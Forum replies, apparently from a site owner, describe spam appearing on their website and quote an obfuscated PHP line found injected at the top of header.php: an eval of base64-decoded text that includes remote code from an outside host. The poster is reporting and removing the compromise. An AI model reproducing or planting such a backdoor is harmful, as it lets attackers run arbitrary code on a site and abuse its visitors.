robadawb

Nevermind, I manged to figure that out.

Yep, and that’s what worries me. But permissions have been changed ??

How did you decode the string? I did not get the same result when I ran the statement with php. Although, I’m not entirely sure I understand the code to begin with.

Thanks for your help!

Right, the spam is no longer being displayed. Not sure why it stopped. We didn’t make any changes to the site and it stopped before we even upgraded the site to 2.8.4.

Interestingly, we found the following piece of code at the top of the header.php file, and promptly removed it.

<?php
@eval(base64_decode(‘QGluY2x1ZGUoJ2h0dHA6Ly9zZW9hYnVzZS5jbi9pbmNsdWRlL3Byb21ldGhldXMvaW5kZXgudHh0Jyk7’));
?>